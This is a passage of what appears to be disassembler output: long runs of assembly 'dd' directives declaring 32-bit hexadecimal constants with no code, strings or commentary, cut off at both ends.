0E48E3FD1h dd 0C4A72924h, 0A508D03Fh, 0E0906478h, 4E64A00h, 0CE8788E9h dd 3DC4A0FBh, 771A1269h, 8F08D128h, 96A9919Ch, 0ADA91908h dd 0AC14DE3Fh, 246A21BCh, 80256558h, 0D5AD8C20h, 7FB9F702h dd 5C467B76h, 6CB40A0h, 6F13EB40h, 9CC1D48Fh, 7AD0F9E4h dd 582CB08Bh, 0C20E459h, 0FA301FECh, 2F7170AFh, 0BF1100A9h dd 21245C86h, 2E04C535h, 322C1A99h, 190CECF2h, 0F81015B6h dd 58740E24h, 0D1BED701h, 5ADE98E4h, 2FB37C30h, 0B824FC12h dd 2D70E8BBh, 5844D013h, 0C1204487h, 18008D7Ch, 34FFDBC6h dd 4D69F78Ch, 1908D896h, 1F077BC7h, 2110ACF4h, 73CC0E11h dd 8F0CB413h, 0EC432263h, 7EB0B1C0h, 0D80CB00Dh, 48DA8EF6h dd 940295D7h, 9D00722Ah, 15FD2506h, 0C8A78E8Fh, 243E487Ah dd 0BA008A20h, 0B1E7665Fh, 1FBB1B7Fh, 14F6FA7Dh, 64104C88h dd 0FF9F03BAh, 40ADBF8Fh, 27197838h, 1C186AABh, 0C02675EFh dd 0CD88D87Ah, 83BC1294h, 7909CC48h, 582E878Bh, 77353CB8h dd 0E18CA2Eh, 0FF80A2F8h, 92917658h, 0E78864FDh, 0CDF70F0Ch dd 0B0FA583Ch, 0ACE6549Dh, 0B756EE60h, 6661DC00h, 2058B2F7h dd 2BD012F8h, 84E36C00h, 0F68657h, 335231E8h, 0E2DE8775h dd 0D280C494h, 19AB3F10h, 9D64BAFCh, 0B587B021h, 95A88248h dd 0E8651AA0h, 39F72144h, 1A5FB7AAh, 14CAE074h, 68D82655h dd 94E49170h, 3510A8D0h, 0DC0B4FB7h, 0CE463h, 2680F760h dd 3DA38FE2h, 0D072FCA2h, 809020C9h, 0FB67A22Ch, 0CEB5E619h dd 630FDE59h, 945900F3h, 0ABF007A8h, 0D3CE013h, 0CCE803FBh dd 0E3A09565h, 197A6DDFh, 5D06887Ch, 5FD8ABE8h, 0BDDB0C08h dd 64302E58h, 39C97500h, 0D5DFA3E2h, 0A77107B0h, 6087E45Ah dd 2D12CCE8h, 0E00E3F8h, 0EE3FF8A0h, 607E90Dh, 0EABE1C3Ah dd 6C0348F4h, 0E03CA89Ch, 0AC113C8Fh, 8CD05700h, 4508010Dh dd 87988861h, 0E0E34105h, 1BF4198Fh, 104085B4h, 400C8AE7h dd 0AC18D3E1h, 0A857DE1Fh, 50F6D06h, 4218CFD1h, 0A57D5280h dd 0E63DDAFDh, 92B0C7Bh, 836973h, 104F6524h, 6DCB8AD2h dd 40915933h, 0A8986755h, 0F821FFE3h, 872E70CCh, 0AE4608E8h dd 5D1CF83Ah, 0B4F271CFh, 0BCAD0688h, 2031BB41h, 0ED140DE6h dd 1BC5D90Fh, 62821C6h, 3C6DDCF1h, 8E007025h, 0DB57FCACh dd 0C4FFA5CCh, 6B88678h, 510D9D1h, 65B60DD8h, 96943149h dd 0A828D3E8h, 0BD0FF86Ah, 383810Fh, 1098134Ah, 0CA2C340h dd 38D94808h, 0F4635084h, 0FA0A9E0h, 0A009D842h, 0DC362710h dd 0A65529DEh, 6E0A0284h, 0E4826AD9h, 0E0AC6D30h, 0C7988848h dd 0D54C4B50h, 51FD8D24h, 5100481Fh, 0E0324224h, 0CFFF286Dh dd 6CD34CBCh, 1501047Dh, 88604A10h, 0F5401D3Ch, 33F0143Dh dd 6D1E981Eh, 3A98F3CAh, 0F3E8E8B6h, 0BE4C3D06h, 3E30EBD9h dd 2D05BCE2h, 115B3CDh, 0F8E088BCh, 94E461E7h, 3E9F4308h dd 0C56D8C4Eh, 303B88DAh, 6406DB34h, 0CB0C5B57h, 8637EC3h dd 0C7730008h, 0D0842D98h, 0B0A0A46Fh, 70C6A105h, 2010B46Eh dd 3401BE50h, 0CD94AF39h, 0E3C8D78Bh, 307D3CB0h, 24268D12h dd 57B0221Ch, 0E8B7AC80h, 0D4A1B907h, 0BDAC4116h, 64618029h dd 0D8D7A96Dh, 8ED638E5h, 0E77BA080h, 0BD8C6AA4h, 0F993C733h dd 4A71E8FFh, 0A7EA01E1h, 0BE20ABF8h, 441EAD0h, 0CCDF82Eh dd 0D9DFA4A0h, 0E28F3512h, 6C113416h, 64FC40ECh, 0E04F52h dd 0EE6C407h, 0A26EF8C0h, 9CBC04F4h, 62243407h, 0A084CD92h dd 7208060h, 87CE899h, 3F3C9284h, 0BB14E0B5h, 5D312490h dd 0C9BDD418h, 0E4C0802Bh, 943CDD52h, 800C9ACBh, 1C58D3B4h dd 25F88ACh, 3D25ECABh, 0F010EC49h, 0EB61EA6Dh, 95CD2468h dd 40B828D7h, 606D7A60h, 0CD25303Ch, 18CFA69Fh, 49A08CCFh dd 540AF827h, 907280C6h, 0BC456Ch, 9C95DECh, 49D84953h dd 7E10054h, 467A41DDh, 55BB0029h, 0AB8A69A9h, 7B39CD1Ch dd 94CB99AAh, 0AEE0ED58h, 65491C4Ah, 0EAC9C7D9h, 43DE8715h dd 802CC92h, 0E2EED505h, 0FBEC403Ah, 0FDCD1221h, 0DF180F27h dd 0DE9CC0E0h, 3514509Eh, 72708441h, 22F5240h, 0FC8B7D64h dd 0AA40E1CBh, 12773B37h, 6748BF00h, 354B63DAh, 0E4AF0055h dd 8829C804h, 3DF4305Ch, 4C143AE0h, 83F0FE84h, 5C76FBDh dd 88746668h, 0EAC01D5Dh, 5C6D1B80h, 44B07861h, 0FD090E9Eh dd 0A0A318CCh, 0D2E4F94h, 436D1962h, 42052886h, 441B7F8h dd 9CCC00B9h, 0E230C19Fh, 340FDE6Dh, 0F484A9B8h, 0BCD75443h dd 0E7E01CD5h, 0B04032B7h, 4809A502h, 2186FA8h, 0BDE14DEAh dd 20480451h, 1B246D6Bh, 950650DFh, 9F88CC7h, 305DB802h dd 55BD3821h, 6D902073h, 70DE5E28h, 0A874D920h, 32BDDA3Ch dd 3C58EC7Bh, 0E9B5C060h, 70A98B61h, 501BFFEh, 0C432C1h dd 93A8C46Ch, 0DCC3A3h, 55FDB0Ch, 54FFBC9Ch, 800D1E00h dd 463A26E3h, 5027004Ch, 0AA55D2E4h, 0C2019002h, 0BE7611A5h dd 5085F754h, 9DDE5F14h, 0A0840048h, 0D900ED15h, 8B690948h dd 4028717h, 0FAD8CD22h, 5B38DCD4h, 0E0140C98h, 18906D27h dd 0CBE8472Ah, 3FDB02B6h, 0EFDD3515h, 0D1711C41h, 0D7183028h dd 9E962600h dd 863EAC0Ch, 0FCBE2E4Bh, 0E6E9224h, 4C545598h, 0F4ABEF0Dh dd 71006470h, 11D6F630h, 4DB941C3h, 5201879h, 71E49888h dd 0B405E179h, 2B1DECE2h, 1DBE08Ch, 34B6933Ch, 4CC46F2Eh dd 5B007E38h, 0D687D358h, 0C2B382BDh, 0C7D74B18h, 983894AAh dd 6E081196h, 75EFAF01h, 2756BE02h, 0BD0D3833h, 0DC109F5Fh dd 29178768h, 944ABECDh, 3F06B80Eh, 2050A85Bh, 0E0176BC7h dd 480228B5h, 0C9F4D16Dh, 3C016F50h, 0CCE434CDh, 81C08EF8h dd 0C8248A47h, 0BE062C14h, 708D0D44h, 0B59CECF0h, 0F0E4401Eh dd 0AAF57E49h, 10172CC4h, 93C8AC14h, 0DF3C9407h, 9F0F2Eh dd 0B805E0A7h, 46F513A8h, 0CC780814h, 0E7B44203h, 0AA6DE071h dd 0DCC8925Eh, 6097C078h, 0E5C314C5h, 24DE5C05h, 0AC408A4Ch dd 0A58FD7DFh, 48550B9Bh, 0FC8064E5h, 967109A8h, 1358F739h dd 9409172Ch, 0D0C88A05h, 0DA6B98BFh, 75FCDCB8h, 5CEC14DBh dd 24498CEDh, 63E13702h, 48601F53h, 980982BCh, 70F12CDh dd 893033E8h, 597E16h, 0D6919728h, 6A483B8Ah, 4EE1DC01h dd 8CC9B04h, 56496E0h, 67BE3E7Eh, 8C9891A7h, 54F46AA8h dd 71390932h, 64022DA4h, 0D4804983h, 7D96BDDCh, 4316FC90h dd 4C208817h, 1DEECDCAh, 0B08A93h, 70FA56ECh, 50C0D049h dd 0F32A593Fh, 608E00FDh, 0E55B1841h, 5500DF61h, 0CD977ECEh dd 285E8913h, 8A656h, 0B3CB609h, 3F2E9E85h, 70B88736h dd 28A298A8h, 2E588968h, 4CE4E7D9h, 67553020h, 0D8440F8h dd 711835BBh, 0FD01A76h, 83D8BBE1h, 0DCE2D55Ch, 348AAFA2h dd 2B8C2E44h, 0E46B00B8h, 713ED60Bh, 40FD1432h, 12FC50EAh dd 377BA6Dh, 7FBE5B14h, 0A62F33DFh, 0CB49922h, 86E3884Ch dd 0CD1270A8h, 1C0B693Fh, 0CC1881BBh, 9025DAB6h, 9C318C27h dd 627465F8h, 0F90D16D4h, 1664A850h, 0FC004FD5h, 0D6713C31h dd 0EC18C3E0h, 98095F2Ah, 0A5170EBDh, 7000C440h, 19B4CC15h dd 942950CDh, 734111h, 0C65DD66Ch, 0C388094Ch, 9CA5CD2Ah dd 18103C83h, 1029A0B9h, 0EBF0D8B0h, 476DE10Bh, 23082B48h dd 0C439DF3Ch, 62BDF48Ch, 0FCE291BEh, 713D4040h, 0E1EADA32h dd 0DCC2B5h, 9448978h, 0D58E2E96h, 0F9F4008Fh, 25DD91F1h dd 806C9D4Ch, 342E4C88h, 0C73C3071h, 8098338h, 8F6DE51Ch dd 0C0F580B1h, 5C40E421h, 3E7EFB8h, 0BE834D66h, 482AD396h dd 0FA903C34h, 2B385161h, 8CFDE738h, 77FAF0h, 8770A553h dd 3B9ABC09h, 41190D00h, 0B5577FACh, 0A62800BEh, 248DD5CCh dd 163E74CBh, 1D6D8D0Dh, 10285083h, 0D14770C3h, 0DA317000h dd 193BFA54h, 460490Dh, 261C01D3h, 0AB6F5ACDh, 502658A0h dd 0BB08BCA6h, 0A64B0514h, 337C8C95h, 5843DF00h, 5D94DA20h dd 6DE709DCh, 70A06445h, 0AD7BE5CCh, 84D2CD25h, 0DCC112C0h dd 8605B49h, 0E271197Fh, 0EBDE78B8h, 0BE639097h, 0C987B41h dd 0BDA06B61h, 808094F6h, 663DD990h, 0B47C814Bh, 18063C31h dd 8641349h, 0B96840BFh, 4016C8CCh, 71DB0530h, 9457D1ECh dd 0D4C0C268h, 81A79841h, 0BDDFE531h, 8464C540h, 0A8DD5651h dd 0E0820E25h, 3400AD60h, 26045407h, 18C29388h, 713BB07Fh dd 7818C324h, 20783F07h, 7CD192A5h, 58F6BDCFh, 98E36904h dd 28A4F842h, 6480C113h, 8828384Ch, 38924999h, 0BA0D7C80h dd 0A84E954Ch, 15858831h, 0BE61B000h, 149AD27Eh, 85FCCA0h dd 0D913AC00h, 275A0F07h, 10098DBh, 0E2DA3A2Eh, 74922BBDh dd 463471ACh, 4CC4C039h, 72644005h, 0A20B4C0Bh, 0C56228h dd 7F651BCBh, 552EF67Ch, 2401B0FDh, 0E54D1DC4h, 26110FF0h dd 1D900B08h, 56698938h, 70133044h, 0A452012Fh, 0A211400Bh dd 8D7114h, 65B70DD9h, 218C4A53h, 1C351EBFh, 70E743F8h dd 48092BA2h, 21CBF5E2h, 0D3C5CC64h, 0D090E038h, 0F5F9110h dd 166BAA7Bh, 0E6A2C300h, 54155C3Fh, 13E1C850h, 1CB5DDBh dd 0B6498588h, 0FF0C30FBh, 1B9AD100h, 652E51A9h, 0D5B8077Dh dd 0C005AFBFh, 0ED6AC34Eh, 1680CC14h, 3E439C8h, 0B78CAA57h dd 4C9C8C08h, 13E49865h, 9720BA6h, 7440E7B8h, 9C80042Ch dd 0BFED0061h, 3E5F420Eh, 0B50FB2CFh, 27DE3D9Eh, 0E3A02405h dd 0A0E6DAD5h, 1A150BCh, 5EE535F8h, 36FAF06Dh, 24CC58E4h dd 64004085h, 0C5551969h, 4D6D78AEh, 4850AC50h, 0E18A0351h dd 105BE56h, 0E902020Fh, 0E930CEAh, 4DC60F8h, 0F482ECD2h dd 0CB3BE6F0h, 3DF0036Dh, 0E1489322h, 0EAD8A1C8h, 6178E419h dd 6693A76h, 0E10B886Ah, 258A0E1Ch, 4A058227h, 0E901838h dd 8F60FBEAh, 82D42A10h, 1F46F8ECh, 8E5B43CDh, 0C1CEB18h dd 0F82E8858h, 0C60BD16Fh, 391D37h, 55EF82DFh, 8C614C10h dd 571F25F8h, 0C714E78Ah, 0C843138h, 5DFC3588h, 3208CD34h dd 0EA0D8606h, 302A8ECBh, 54242D88h, 5A199BBCh, 979A71A6h dd 17EA0D8Eh, 3C45538h, 75665470h, 63D75CDAh, 2267F08Ch dd 0EA9D0E06h, 98CAE2DFh, 0B06EFD9Dh, 0FC7002D7h, 82607CC7h dd 2A00559Ah, 16EA52C4h, 2510D94Ch, 7B37BE5Eh, 0B94CE560h dd 0FF93DE8h, 59C72A5Dh, 320AA9A6h, 0EF637E8Eh, 7E0D503Ah dd 0EC35510h, 98880C99h, 9E56FDEAh, 8AD0ED17h, 449C6900h dd 3BEA4796h, 6202B60h, 14FDFEADh, 988251F6h, 0DF0B8800h dd 5A34EA63h, 9D230092h, 0D2EA4143h, 0BC0A8003h, 15245476h dd 5CDB002Ah, 8510CA0Ch, 49C43455h, 56005EC0h, 0C682E68Ah dd 4EE5FA9h, 5669D959h, 3444DD44h, 5E006831h, 6DE2F782h dd 5712D014h, 38981099h, 0DCFFF17h, 9EB16F5Eh, 434C55F8h dd 0E3458552h, 62975188h, 46CC8C14h, 0E2423BDDh, 80914920h dd 6A5EE2EAh, 182F6367h, 3DFB6EE1h, 0B46B9E00h, 0DA32D27Dh dd 0CB021F5Ch, 0F2968A5Ah, 0F75D07EDh, 4D8283FAh, 0A13D6B23h dd 0D9020F06h, 1208EDCAh, 0BC81008Ah, 1B386B0Bh, 33C30601h dd 0D92A2E90h, 95078ACEh, 6802B21h, 31FA6892h, 3AB4A3EAh dd 0C4A9E44Fh, 16B0BEA8h, 1C2CF385h, 286B700h, 69535BD4h dd 391560FFh, 0FBB2250Dh, 0CF3120C4h, 70076496h, 281B6AEAh dd 3ADE0875h, 58C6709h, 68215812h, 45EE9055h, 9F6D8820h dd 0DBF85B07h, 9FF52A8Fh, 67F9220Ch, 39A9260h, 0EA0CE9C2h dd 323B1A13h, 244D1254h, 0B0FCB74Ah, 94407EBDh, 0EE820346h dd 1EB11768h, 809ADCE1h, 485FC018h, 7C022596h, 2B6F20FBh dd 52DDF707h, 0D6506CB6h, 408EEC1h, 0F681CEFFh, 2056C20Bh dd 8FB95100h, 23494C0Dh, 0B0E16C1Ah, 3C61582h, 58A06C82h dd 5B2B1109h, 0BAF15D13h, 0B61C8098h, 31D7B883h, 371D90F0h dd 3A182D79h, 5F90ECEh, 0B75C6787h, 2990D07Eh, 34F7EAD9h dd 0F3770243h, 0EE49931h, 0B2FBE88Ah, 142D454Ah, 91454258h dd 4C8FA716h, 40632BEAh, 2EB9D20Ah, 7E900451h, 0F6C9B710h dd 0AA434DADh, 0BDFF8A8Ah, 585AF9D4h, 0E61E435Ch, 385A437h dd 5E09256Dh, 7A3745ABh, 114A1282h, 3837DB28h, 0CCE07AE0h dd 4CBA07C6h, 7102D10Ch, 8AC496FFh, 991A0840h, 0AFA09092h dd 0B90AC058h, 0DFFFE869h, 0D113601Fh, 0C282C815h, 8958C432h dd 0B70888Ah, 0B2EA5706h, 0BFC5C0CDh, 1A2472A5h, 45BC03Ch dd 0F8321EE2h, 48640BCBh, 0EA484102h, 580006C7h, 51011B69h dd 0F8602F6Ch, 0B5CC82E0h, 1EB30205h, 67EAFF8Ah, 0CDC1F8AAh dd 880601EAh, 0AAC541Dh, 8012B9CAh, 0C52FD0C4h, 28B00207h dd 0FE2BA01h, 0EA423925h dd 0EFB376E9h, 6633440h, 12D4F80Dh, 490CEA57h, 0BABB5EA9h dd 4E3135B4h, 2E80ED95h, 0B963C7BCh, 0EC30C23Fh, 0EA080604h dd 71794915h, 5ADF5812h, 42CE443Dh, 35918C7Ah, 6AC1B439h dd 24EAAACCh, 5A549730h, 0F0D3D814h, 5AD0A830h, 59F29288h dd 82019F46h, 0D617F7EBh, 9BE3D86Ah, 66816716h, 0F388E1Fh dd 0F7320C54h, 840F4406h, 0E2D048A1h, 632A5C00h, 140C2E1Fh dd 8CB5FE2Eh, 6A481E3Eh, 8CC8343Fh, 1590809h, 3355EA3Fh dd 0BB342F63h, 2888059Fh, 0F2C74E30h, 62FDD1E5h, 2225028Fh dd 2672D1C1h, 80BF8004h, 3617424h, 0B138D8B4h, 619A2C30h dd 0F0C1227Dh, 31ECE007h, 3EBA10C0h, 310064Ch, 2766BB53h dd 3C0B0E2Dh, 808B1531h, 0A7AEB73h, 34E9B80Fh, 0D589FF11h dd 665E9987h, 0C5C55A21h, 0A8EA8D30h, 0C3A5C227h, 0F0622393h dd 9C853A48h, 28C21BC1h, 8AF1D341h, 9B57F578h, 3BFA4D7Ch dd 3222348Ch, 92EA06C2h, 0F219CC8Ah, 3A1F50D9h, 475D12EEh dd 30C62D12h, 5A81371Bh, 900C84A0h, 7D5F0742h, 0C04E5C4Ah dd 0CE8209EEh, 0FD060DE8h, 55BF695Eh, 2B5A9E5h, 0EAC62A10h dd 4B2DBB24h, 56B91653h, 9E380451h, 32AE042Ah, 6C9BC6C1h dd 255F1092h, 0D2CAC7E2h, 760E5EA2h, 2B338E09h, 9B9F969Bh dd 0A4EA0593h, 0C36D7760h, 0A05752Dh, 7B15695Dh, 1B386356h dd 0FE280469h, 0A45D321Bh, 413E486Ah, 2DDEF354h, 3B00A7A6h dd 2707D31h, 0D2D5ACFCh, 10521010h, 3CDDEA0Bh, 8A05D52Bh dd 1A4BC143h, 9C4961C2h, 262CF3ACh, 0B9079620h, 67C38073h dd 29D063F4h, 0FF5B5553h, 43DBAFE5h, 0CC695D4Ah, 0ABEA5590h dd 550C0E54h, 595606BAh, 37690BCEh, 0BA549808h, 0F60B1290h dd 888E0360h, 8794D252h, 3B7E10B2h, 5BF22276h, 8E2C21Fh dd 6539F20Fh, 0EDC32D62h, 5DE6B8B5h, 1BF71206h, 0C95F05B4h dd 5A07092Eh, 34036582h, 0ED063206h, 0D3306B33h, 75EA9D06h dd 396C7A49h, 81690F5Bh, 34C9645Ch, 3B61D7CAh, 60BF1067h dd 6F62F8B5h, 9B70B8DBh, 75C2E9E9h, 3C045C66h, 8245956Ah dd 9E8DA4Bh, 8C09C782h, 80557158h, 831BCB03h, 20DB9276h dd 34504D0Bh, 6D832F3h, 0A8675D0Dh, 61EEEAB4h, 0EF814CE3h dd 0ECA7E030h, 0D88910C6h, 0B92240A0h, 6902DB05h, 0F1812A67h dd 712D5909h, 4CEBEA0Ah, 434B69DEh, 8092EA76h, 66B4EA12h dd 10E9B04Ch, 317C412Ch, 0AABC82EBh, 4237A631h, 98B24426h dd 6C8961F6h, 321B64EAh, 1D69481Eh, 0D535552h, 6421B8Bh dd 531E494Bh, 32E57F00h, 5BEC28ACh, 0F84B600Ah, 0AA3458DBh dd 0A1EA3E42h, 20765250h, 0BA0F98DDh, 0B2070EA0h, 0F0E62100h dd 58324648h, 0FC0C56CCh, 4408D8F8h, 60E4821Fh, 0EA79D087h dd 35CA4954h, 80538240h, 83EEFC8Ah, 0D1B3F6Ah, 4B33DC1Ah dd 14EDF987h, 8A28D573h, 0DEC003E4h, 48580618h, 0D0967A60h dd 58AA400Dh, 0D9046717h, 84420501h, 8248A2F7h, 1003BF57h dd 8B9C5FF4h, 42B636D2h, 9A691EFh, 6606F369h, 4897F206h dd 0F6D0E060h, 9B331A00h, 0CEEC060Bh, 17F6663Fh, 43AB59C2h dd 0A23C396Ah, 294D0299h, 424032Dh, 99A13B38h, 0C8DF8B59h dd 0E1470CE9h, 0DA02A8C3h, 0D889E2FFh, 64A2661Ah, 124E053Fh dd 78561C88h, 800A731Ah, 0BF243C76h, 19150EDDh, 82ACE960h dd 0C300091Ah, 8CCB8158h, 0FC14EC41h, 5EF860D1h, 9C241CF7h dd 0D967CAF2h, 999F1471h, 61F05A06h, 1046D393h, 307B3654h dd 660A6964h, 24530C8Bh, 61546E45h, 3479E9E3h, 3DFF149Dh dd 81590761h, 462651C4h, 0C15B0075h, 60560E3h, 0EB814B07h dd 0C82FFF09h, 8BE50606h, 0F61E8458h, 0E955C3C3h, 140013F3h dd 33546BB9h, 0FE2EBA3Dh, 311C0EEDh, 0D06C59CAh, 8341DDD2h dd 5E770C8Ah, 0DFC66F9Fh, 0C8891166h, 0E58717C0h, 3E4F95F3h dd 0B998550Eh, 4C010C62h, 8408E6A2h, 5B9B6C4Fh, 9C16E919h dd 7B510512h, 0B840FCD8h, 14E78147h, 0EE11037Bh, 337FE11h dd 0A33C7DEFh, 790C096Ch, 0A8877A76h, 18C7E5F7h, 172F8C08h dd 0DBE535C0h, 48623643h, 570E1A45h, 0E9450602h, 5DD94A0Ah dd 22183BACh, 0B7C30C3Ch, 6DBC5F26h, 6734603Bh, 0E7B6D33h dd 8105E1C1h, 15F2D780h, 5560E9F9h, 7A902D9Fh, 40722452h dd 81601807h, 0F47DA2EEh, 3B34BA7Bh, 0AAC31648h, 0AE3E8768h dd 0F110B8EBh, 67E91551h, 9E40AF70h, 0A57451FFh, 0C73085F0h dd 73C32818h, 0E2832ADh, 587B1150h, 162D9B33h, 41FBB159h dd 0DB8F0C94h, 0DE518B39h, 0B1078D31h, 6FD85C53h, 338EE0Ah dd 85A1E3D1h, 6EAFD0CEh, 282CE919h, 0F1F04946h, 0F4131F73h dd 65030C05h, 0D340EBC9h, 11142468h, 50516014h, 0B50057B4h dd 58E5307Bh, 240EF580h, 447AEC88h, 5FE90283h, 0C396A745h dd 0A8097561h, 0E65B6F20h, 80499C5h, 0EA31083Fh, 0C10166F1h dd 0C831ECE8h, 55B78348h, 56E2CCD5h, 64008398h, 0BE694D7Ch dd 0EA779078h, 5FFE0429h, 8D19A8E9h, 0AC5EE149h, 0D814F753h dd 46C9140Bh, 79A3103Ah, 0E8ED5224h, 0ED6806D4h, 3AC0110Fh dd 0CA1265BEh, 0E6813814h, 638C163Bh, 0DE05D6F7h, 1C01C6F8h dd 8910031Eh, 0E1E45EF1h, 0F75776EDh, 5F73421h, 0E67AB412h dd 0D5C00016h, 897BF442h, 0E914DE90h, 13DCEF9Dh, 9855EB88h dd 8A0CD2B7h, 9B5BCD87h, 0D75C8C31h, 4803BA3Ch, 0BB318037h dd 290B034Ch, 514DE9D3h, 21332C24h, 6B26A4C2h, 4713B17Eh dd 55BA5C03h, 0C5810860h, 0ED8332A0h, 2C1F87ECh, 40F35C24h dd 434C4481h, 9B54E361h, 0B13FDC1Eh, 4CB396E0h, 0CD9452FCh dd 4031BA1Eh, 30D8EA11h, 3C4DC45Ch, 8C228DAh, 93F502FCh dd 8D2C5A29h, 3681359h, 0FAC83740h, 447F028Dh, 0A8867B9Dh dd 681B1E67h, 0F292C8Eh, 7B2ABDBEh, 0BB5322C0h, 75720BE7h dd 33DD212Bh, 0E9504D81h, 0E807C11h, 62D96851h, 879A5B2Ch dd 0E7895713h, 0DD945710h, 303C41A0h, 4E71A12Ah, 1D1E464Ch dd 70C02640h, 2EF7BA52h, 0E7B7C02h, 285624CAh, 0AFE2C127h dd 298EF220h, 0F71450FAh, 79542D2h, 0E72A26D1h, 9FE9D6C0h dd 0D370CD84h, 0CE7030D4h, 43598C59h, 826F524Eh, 4631BAE9h dd 0F7585597h, 811491F0h, 5AE0458Bh, 7F670CE8h, 0FC065413h dd 0C7753E09h, 0B4A5B55Dh, 0BD47D032h, 6E0F4614h, 8AE83105h dd 989C476h, 327008C6h, 6CCE8100h, 183F9627h, 58D0B850h dd 0EE002D79h, 319ACA18h, 98958C6h, 27CCE9F5h, 443F8C90h dd 0FED8180h, 22665B05h, 65245169h, 5358885Eh, 8D685202h dd 6111E74Eh, 0A2A3DEE8h, 208228F6h, 5B0316D2h, 0F6F78853h dd 0C0FEA3D7h, 1BCFC680h, 3AE3EAE9h, 0E0BA5204h, 6C39504h dd 99BA01D2h, 142FD7Eh, 0E24970C2h, 9F661804h, 7080F768h dd 44A3CEAh, 0E6E98C19h, 4982116Ah, 935C28EDh, 5D62D565h dd 31F2FC2h, 0C2EB1EB3h, 0C503EFC6h, 37A0770Ch, 0E9E5545Bh dd 0D9D05121h, 32E9635Ch, 870A887Eh, 0C85CF985h, 38404F07h dd 8BC74C01h, 291D5B17h, 953ECBCh, 6490D09Ah, 8B6910F0h dd 6BE61210h, 18D9842Bh, 8549BD09h, 1550A24h, 79420768h dd 232C8B5Fh, 0BCCD0501h, 5AC29876h, 10F7CA11h, 77DE2862h dd 3A9E705Bh, 5A032CF0h, 97C6866h, 0E9195FA6h, 542E95FDh dd 9A8B6E24h, 783330FDh, 7AC4F553h, 9414A43Dh, 412E42A7h dd 4D2530F0h, 94CC6841h, 819B9146h, 0C1FED7B1h, 0C9824480h dd 0B7854050h, 2520E9D1h dd 0D7B5480Dh, 0B9026D7Fh, 5393009Ch, 0B409C9B3h, 0DC289Bh dd 0E9B2E428h, 60F4418Ch, 0FD14A143h, 1A435B1h, 0FA74594h dd 6F21CD29h, 0F7590800h, 0B822CED5h, 2D4322A0h, 9F056102h dd 5E80131h, 7B210713h, 8AA6967Bh, 1C87E2D4h, 0C62004C6h dd 0D5BB0041h, 0BA4C4A6Ch, 8E269463h, 0A832CDCEh, 0F9B400EBh dd 0A502B753h, 0EFC0C7FEh, 0A8934303h, 0F48005E7h, 1AFCE0A3h dd 544BF4E9h, 0EC6CF5B2h, 2C555449h, 0FE24F152h, 0D18C3929h dd 92876EDDh, 81697131h, 31C64333h, 0BC0D066Ch, 0F766804Dh dd 5853F136h, 0B889EADCh, 2CC35481h, 0A2360CAh, 0C83358BEh dd 1CC654Ch, 0B32421CEh, 0E5614E36h, 59A139D4h, 0EE3DED70h dd 0FB098CC8h, 0F74162E9h, 52D18158h, 0BD555A54h, 9C83246h dd 7366104Ah, 1BE9F800h, 1763F7Ch, 68081CD0h, 5D12141Ch dd 6D17B871h, 5E6B6800h, 0E6A444B9h, 1E7BB958h, 136F2C0Dh dd 50891ECEh, 0F201183Ah, 2C74D670h, 10C0101Dh, 6021510Dh dd 2C60BF09h, 4A5EE7B3h, 0F6744837h, 0A0647D28h, 0C1285C90h dd 2214BFACh, 899A6073h, 42D1262Eh, 4384C31Dh, 6DB064F8h dd 0DF9528E9h, 0EB8324DDh, 685C4033h, 0CD923BF8h, 0E9127592h dd 7D4AF641h, 0EE649FC6h, 913421CCh, 7E928C51h, 9400EF23h dd 89FC1FDCh, 993C8BFAh, 0E0E84477h, 0B6320F2Dh, 868770C0h dd 4271D2FEh, 146D7CEAh, 696297A0h, 4E30A890h, 0C3015BD1h dd 0AA209298h, 304B7F94h, 0ED55DDBDh, 0D4916CEh, 696803DFh dd 44505C7h, 5FA5A70Eh, 81028418h, 3D7EBh, 71476B8h, 110D75C0h dd 2D38E034h, 490010F8h, 7E8C10Ch, 0B160B1E9h, 0B9518014h dd 792D4E69h, 0FC81492Ch, 65640B03h, 0CF03B3C1h, 0EFC33F4Fh dd 0D1CA29D1h, 0DC638DA5h, 50973078h, 386ABF10h, 0C15E5D12h dd 0B281DE0Ch, 3C2F034Fh, 15FF829h, 24D8C29Ch, 9130ACA2h dd 56592E4Ah, 910BC767h, 142458D9h, 26FC3A56h, 5B245F02h dd 0DC435731h, 860D0669h, 810A878Bh, 0FB3219DBh, 30FF6683h dd 0D7D1ECF1h, 344CBB5h, 0CB3DFBBBh, 0E9D8C05Dh, 2AE768F1h dd 6D8E0394h, 0CD93C0Fh, 0A51A82Ah, 515CC874h, 59C0309Ah dd 940E9568h, 0E680495Eh, 600F426Ch, 0B23E353Bh, 0C08116E4h dd 1274255Ah, 105A34FCh, 50580793h, 0FBE9D706h, 500F54E4h dd 2C19B252h, 9A66131Ah, 54570E86h, 398A685Fh, 60834A65h dd 0EE5CD9C7h, 0DF013512h, 44087A10h, 892851BCh, 7BA6F6E1h dd 0E52B1031h, 0F821028Fh, 5505DD80h, 1223140h, 2C27F07Ch dd 870FA21Bh, 28C992Dh, 40E2A960h, 2F81047Ah, 507047B3h dd 0AADEABC1h, 0E8F02711h, 20CDA1A8h, 0CC4FF94h, 899FE2F3h dd 0EAE673D9h, 33342800h, 2B63B825h, 3E52489Eh, 301AC84Ch dd 0E571A38Bh, 12D0E508h, 0C1201C92h, 0AA68A10Dh, 8AEA6046h dd 3A41BA81h, 0C3F0D001h, 4F47B22Eh, 5C637724h, 6C8AB959h dd 8C0DDF30h, 0F14F9277h, 29515E27h, 91204D5h, 42838A1h dd 4DEDE9F3h, 0E4195AB4h, 0A4AAECCFh, 59094A50h, 8078424Dh dd 10FBED19h, 0E9FD0C77h, 573A2FF2h, 58765A4Ch, 0FACAC099h dd 7502B312h, 0D7F73087h, 74E94208h, 4A766E5Ah, 3E80DA07h dd 13018033h, 840FC00Bh, 762D310Ah, 0E9590814h, 33FEBAC6h dd 7B755748h, 0B4BFF94Ch, 21011EA3h, 0D0E91C4Fh, 0E8B60079h dd 4BE63980h, 0BD2CE97h, 1A80BA24h, 9BEE9FFh, 5C41729Eh dd 0CD483166h, 81CF40ECh, 54F7EB05h, 39807D22h, 17534306h dd 85E5B56h, 0B70E84C2h, 0C219E99Dh, 49635979h, 50F0E486h dd 8BE85480h, 0C4B12C59h, 0C5A0E6E9h, 3C942768h, 71E70898h dd 0E90DBB09h, 682D40DAh, 0D197AB9Dh, 0C04D6F5Ah, 135CC9DFh dd 0F8DD419Dh, 5B0E3633h, 17FA2C26h, 0FB1036A6h, 83AF084Bh dd 0B2709AB4h, 3BF5752h, 3EE14AB8h, 0B13BCBAh, 0DB0AFA31h dd 69EEF7D5h, 570987C5h, 